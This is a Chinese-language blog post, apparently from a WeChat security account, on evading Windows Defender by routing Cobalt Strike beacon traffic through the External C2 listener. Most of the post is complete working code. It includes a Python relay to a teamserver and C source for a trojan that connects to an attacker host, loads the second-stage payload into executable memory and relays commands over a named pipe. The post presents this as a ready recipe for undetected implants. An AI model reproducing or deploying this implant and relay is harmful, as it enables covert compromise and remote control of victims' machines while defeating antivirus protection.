可能是最简单一种免杀方式了

公众号:https://mp.weixin.qq.com/s/9ReEchLx1dTbWR9plRWbpg

或许我们的公众号会有更多你感兴趣的内容

img

【免杀】使用CobaltStrike的外置监听器绕过检测

背景

起源于一次免杀马的制作,当我制作好了过后,在windows defender(后文简称为wd)中测试时

  • [x] 本地扫描能够通过
  • [x] CobaltStrike TeamServer能显示木马的正常上线
  • [ ] 上线后本地木马立即被查杀

结论

这里直接上结论,想要知道原因可以看下文

首先给出猜测:是windows defender有类似的waf,并且由于cobaltstrikestager payload的加载方式被wd识别出

给出解决办法:想办法加密/混淆TeamserverTojan的流量,类似于下图

image-20250224204001461

在CS上有一种监听器叫做:External C2

image-20250224201235596

只需要绑定本地的端口即可

同时我们需要编写一个 转发器、收发的torjan

转发器编写

为了方便,这里就使用Tcp socket进行编写

首先需要一个转发的类

import socket
import struct
import time


class ExternalC2Controller:
def __init__(self, port):
self.port = port

def encodeFrame(self, data):
if type(data) == bytes:
return struct.pack("<I", len(data)) + data
else:
return struct.pack("<I", len(data)) + data.encode("utf-8")

def decodeFrame(self, data):
len = struct.unpack("<I", data[0:3])
body = data[4:]
return (len, body)

def sendToTS(self, data):
self._socketTS.sendall(self.encodeFrame(data))

def recvFromTS(self):
data = b""
_len = self._socketTS.recv(4)
l = struct.unpack("<I", _len)[0]
while len(data) < l:
data += self._socketTS.recv(l - len(data))
return data

def sendToBeacon(self, data):
self._socketClient.sendall(self.encodeFrame(data))

def recvFromBeacon(self):
data = b""
_len = self._socketClient.recv(4)
l = struct.unpack("<I", _len)[0]
while len(data) < l:
data += self._socketClient.recv(l - len(data))
return data

def run(self):
# First thing, wait for a connection from our custom beacon
self._socketBeacon = socket.socket(
socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketBeacon.bind(("0.0.0.0", 12222))
self._socketBeacon.listen(1)
self._socketClient = self._socketBeacon.accept()[0]
print("Received C2 connection")

# Now we have a beacon connection, we kick off comms with CS External C2
self._socketTS = socket.socket(
socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
self._socketTS.connect(("192.168.48.129", self.port))

# Send out config options
self.sendToTS("arch=x86")
self.sendToTS("pipename=xpntest")
self.sendToTS("block=1000")
self.sendToTS("go")

# Receive the beacon payload from CS to forward to our custom beacon
data = self.recvFromTS()

while (True):
print("Sending %d bytes to beacon" % len(data))
self.sendToBeacon(data)

data = self.recvFromBeacon()
print("Received %d bytes from beacon" % len(data))

print("Sending %d bytes to TS" % len(data))
self.sendToTS(data)

data = self.recvFromTS()
print("Received %d bytes from TS" % len(data))


controller = ExternalC2Controller(2222)
controller.run()

这里需要说明的是,转发器teamserver之间的通讯tcp报文是

image-20250224203243887

也就是说先从tcp流中读取4字节,然后这4字节作为长度,再从流中读取这一长度的剩余报文。这一点也可以从recvFromBeacon看出

首先创建和 teamserverexternalC2监听器的socket连接,然后监听本地的12222端口的tcp流量,一旦有请求流向监听的12222端口,就开始向teamserver传输上线信息,其中

  • arch:torjan的位数
  • pipename:需要使用到的管道名称,在程序中就为\\,\pipe\${pipename}
  • go:表示传输初始化信息完毕,torjan已经上线

teamserver收到torjan上线消息后,会返回一段data,这段data就是stager(有阶段)的第二段payload,通过之前讲过的反射式dll注入运行,由于使用的dll被各种标记,所以这里很有可能被检测出如果对teamserver的这段dll进行加密后再发送给torjan,那么在torjan内,至少这段dll解密进入内存之前是安全的

第三方客户端编写

也就是我们的马子,torjan

根据上面的简单分析,主要过程如下:

  1. 创建到转发器的socket
  2. 接收并解密转发器返回的shellcode,想办法运行这段shellcode
   DWORD payloadLen = 0;
char *payloadData = NULL;
HANDLE beaconPipe = INVALID_HANDLE_VALUE;

// 连接到转发器
SOCKET c2socket = createC2Socket("192.168.48.129", 12222);
payloadData = recvData(c2socket, &payloadLen);

//运行shellcode
spawnBeacon(payloadData, payloadLen);

如果你逆向分析过cs生成的artifact.exe,你会发现它使用管道通讯

为什么要使用管道通讯呢?

之前在讲转发器的最后一个部分,因为第二段payload是一个dll,如何保持该dll和主程序之间的通讯?解决的方法就是使用命名管道,这也是为什么要在初始上线的时候传输管道的名称,这样才能生成torjan生成的torjan_dll

image-20250224211220992

通过管道将:teamserver->转发器->torjan 的数据,通过管道传输到 torjan_dll,反之亦然

// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(500);
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}

while (1) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;

sendData(c2socket, payloadData, payloadLen);
free(payloadData);

payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;

sendToBeacon(beaconPipe, payloadData, payloadLen);
free(payloadData);
}

关于管道数据的解析,和转发器到teamserver的一致

image-20250224211909556

测试一下windows defender

这里就简单测试下没有加密过的

image-20250224214138493

image-20250224214408301

完整代码如下,建议使用 Visual Studio,位数x86 编译

#include <Windows.h>
#pragma comment(lib, "ws2_32.lib")

// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
void spawnBeacon(char* payload, DWORD len) {

HANDLE threadHandle;
DWORD threadId = 0;
char* alloc = (char*)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(alloc, payload, len);

threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
}

// Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET sd, const char* data, DWORD len) {
char* buffer = (char*)malloc(len + 4);
if (buffer == NULL)
return;

DWORD bytesWritten = 0, totalLen = 0;

*(DWORD*)buffer = len;
memcpy(buffer + 4, data, len);

while (totalLen < len + 4) {
bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
totalLen += bytesWritten;
}
free(buffer);
}

// Receives data from our C2 controller to be relayed to the injected beacon
char* recvData(SOCKET sd, DWORD* len) {
char* buffer;
DWORD bytesReceived = 0, totalLen = 0;

*len = 0;

recv(sd, (char*)len, 4, 0);
buffer = (char*)malloc(*len);
if (buffer == NULL)
return NULL;

while (totalLen < *len) {
bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);
totalLen += bytesReceived;
}
return buffer;
}

// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char* addr, WORD port) {
WSADATA wsd;
SOCKET sd;
SOCKADDR_IN sin;
WSAStartup(0x0202, &wsd);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = inet_addr(addr);

sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sd, (SOCKADDR*)&sin, sizeof(sin));

return sd;
}

// Connects to the name pipe spawned by the injected beacon
HANDLE connectBeaconPipe(const char* pipeName) {
HANDLE beaconPipe;

beaconPipe = CreateFileA(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, NULL, NULL);

return beaconPipe;
}

// Receives data from our injected beacon via a named pipe
char* recvFromBeacon(HANDLE pipe, DWORD* len) {
char* buffer;
DWORD bytesRead = 0, totalLen = 0;

*len = 0;

ReadFile(pipe, len, 4, &bytesRead, NULL);
buffer = (char*)malloc(*len);

while (totalLen < *len) {
ReadFile(pipe, buffer + totalLen, *len - totalLen, &bytesRead, NULL);
totalLen += bytesRead;
}

return buffer;
}

// Write data to our injected beacon via a named pipe
void sendToBeacon(HANDLE pipe, const char* data, DWORD len) {
DWORD bytesWritten = 0;
WriteFile(pipe, &len, 4, &bytesWritten, NULL);
WriteFile(pipe, data, len, &bytesWritten, NULL);
}

int main()
{
DWORD payloadLen = 0;
char* payloadData = NULL;
HANDLE beaconPipe = INVALID_HANDLE_VALUE;

// Create a connection back to our C2 controller
SOCKET c2socket = createC2Socket("192.168.1.4", 12222);
payloadData = recvData(c2socket, &payloadLen);

// Start the CS beacon
spawnBeacon(payloadData, payloadLen);

// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(1000);
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}

while (TRUE) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;

sendData(c2socket, payloadData, payloadLen);
free(payloadData);

payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;

sendToBeacon(beaconPipe, payloadData, payloadLen);
free(payloadData);
}


return 0;
}

参考

https://github.com/xpn/AppProxyC2